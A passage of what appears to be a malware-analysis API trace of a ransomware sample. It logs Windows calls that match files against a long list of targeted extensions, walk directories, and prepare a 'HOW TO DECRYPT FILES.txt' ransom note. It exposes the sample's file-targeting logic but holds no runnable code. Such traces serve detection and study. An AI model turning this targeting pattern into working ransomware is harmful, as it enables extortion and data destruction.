(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.694] lstrlenA (lpString="*.idx") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.694] lstrlenA (lpString="*.dbx") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.695] lstrlenA (lpString="*.sql") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.695] lstrlenA (lpString="*.mdb") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.695] lstrlenA (lpString="*.fdb") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.695] lstrlenA (lpString="*.wab") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.695] lstrlenA (lpString="*.dat") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.695] lstrlenA (lpString="*.txt") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.695] lstrlenA (lpString="*.jpeg") returned 6 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.695] lstrlenA (lpString="*.jpg") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.695] lstrlenA (lpString="*.png") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.695] lstrlenA (lpString="*.php") returned 5 [0110.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.695] lstrlenA (lpString="*.cs") returned 4 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.696] lstrlenA (lpString="*.cpp") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.696] lstrlenA (lpString="*.rar") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.696] lstrlenA (lpString="*.zip") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.696] lstrlenA (lpString="*.html") returned 6 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.696] lstrlenA (lpString="*.htm") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.696] lstrlenA (lpString="*.xlsx") returned 6 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.696] lstrlenA (lpString="*.xls") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.696] lstrlenA (lpString="*.mp4") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.696] lstrlenA (lpString="*.ppt") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.696] lstrlenA (lpString="*.pptx") returned 6 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.696] lstrlenA (lpString="*.doc") returned 5 [0110.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.697] lstrlenA (lpString="*.dot") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.697] lstrlenA (lpString="*.docx") returned 6 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.697] lstrlenA (lpString="*.7z") returned 4 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.697] lstrlenA (lpString="*.tar") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.697] lstrlenA (lpString="*.bz2") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.697] lstrlenA (lpString="*.gz") returned 4 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.697] lstrlenA (lpString="*.mkv") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.697] lstrlenA (lpString="*.eml") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.697] lstrlenA (lpString="*.msg") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.697] lstrlenA (lpString="*.edb") returned 5 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.697] lstrlenA (lpString="*.accdb") returned 7 [0110.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.697] lstrlenA (lpString="*.odb") returned 5 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.698] lstrlenA (lpString="*.java") returned 6 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.698] lstrlenA (lpString="*.asm") returned 5 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.698] lstrlenA (lpString="*.pfx") returned 5 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.702] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d7a6d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x38d7a6d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x38da0830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.702] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.702] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dcaa0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4dcaa0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4dcaa0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="749743a7b937b6439a5437f92e66e614", cAlternateFileName="749743~1")) returned 1 [0110.702] lstrcmpA (lpString1=".", lpString2="749743a7b937b6439a5437f92e66e614") returned -1 [0110.702] lstrcmpA (lpString1="..", lpString2="749743a7b937b6439a5437f92e66e614") returned -1 [0110.702] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.702] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="749743a7b937b6439a5437f92e66e614" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614" [0110.702] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dcaa0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4dcaa0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4dcaa0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.815] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dcaa0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4dcaa0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4dcaa0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.815] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.815] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dcaa0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4dcaa0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4dcaa0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.815] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.815] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned -1 [0110.816] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned -1 [0110.816] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned -1 [0110.816] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\*.*") returned="*.*" [0110.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\" [0110.816] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\") returned="" [0110.816] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\HOW TO DECRYPT FILES.txt" [0110.816] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\749743a7b937b6439a5437f92e66e614\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\749743a7b937b6439a5437f92e66e614\\how to decrypt files.txt")) returned 0xffffffff [0110.816] CreateFileA 